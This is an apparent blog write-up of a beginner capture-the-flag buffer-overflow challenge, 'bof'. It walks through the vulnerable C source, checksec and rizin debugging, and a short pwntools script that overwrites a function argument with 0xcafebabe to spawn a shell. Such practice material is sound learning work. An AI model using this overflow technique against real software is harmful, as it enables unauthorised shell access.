This was such as cool challenge to practice reading Assembly!
Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present.
For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).
The approach is based on 3 steps:
- identify the vulnerable function
- identify the buffer
- write the exploit
The code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
It's pretty obvious what we should do:
- function
funcis called with the0xdeadbeefargument. - if the argument is equal to
0xcafebabe, it will unlock a shell. Otherwise, it will just tell you "Nah..".
Getting into the code
Let's check the code:
~ checksec bof
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
(checksec is part of the pwntools suite)
Checking the imports with rz-bin -i bof gives us this result:
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x000004c0 GLOBAL FUNC gets
2 0x000004d0 GLOBAL FUNC __stack_chk_fail
3 0x000004e0 WEAK FUNC __cxa_finalize
4 0x000004f0 GLOBAL FUNC puts
5 0x00000500 GLOBAL FUNC system
6 0x00000510 WEAK NOTYPE __gmon_start__
7 0x00000520 GLOBAL FUNC __libc_start_main
8 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
So we know already there is the gets function that is usually the culprit in buffer overflow attacks but that there is also stack_chk_fail so we cannot smash the stack like we want as it will be blocked by this failsafe.
Let's open that with rizin: rizin -A bof (with full analysis) and get all functions:
Then disassemble main() and func():
Nothing really new, let's try to run that binary. Without leaving rizin, run ood to relaunch in debug and let's add a break point just at the var = dword [arg_8h] - 0xcafebabe instruction with db addr (the address might change on your computer).
Now, run dc to start the debugging process.
Now let's check the registers with drr:
So here, eax has pouet as a value (what we entered) and esp points to eax.
0xcafebabe will be compared to the argument of the function (0xdeadbeef) and if it's true, then we'll get the system call. But it's impossible so far as the argument is already set.
Allowing us to write something is just useful for the exercise not the code itself.
So if we manage to overwrite 0xdeadbeef and replace it by 0xcafebabe we'll get access to the system call.
0xdeadbeef is locate in ebp +8, let's check that out:
And eax:
We have now two memory addresses: 0xff8e9c5c and 0xff8e9c90 that are not too far from each other. To know the distance, let's calculate it:
?wwill show what's in an address. I found some tutorial using?Xbut that didn't make sense to me. To see the help of those commands use???.
So the difference between the two addresses is 52 bytes. That'd be our buffer.
Exploit!
Using pwntools:
from pwn import *
context.update(arch="i386", os="linux")
e = ELF("./bof")
payload = b"A" * 52 + p32(0xcafebabe, endian="little")
p = e.process(level="error")
p.recvline()
# overflow me:
p.sendline(payload)
p.interactive()
I found a lot of cool new techniques for pwntools here.
And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!







Top comments (0)